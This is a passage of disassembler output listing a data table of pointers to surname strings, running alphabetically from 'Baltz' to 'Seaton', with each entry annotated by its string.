; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; 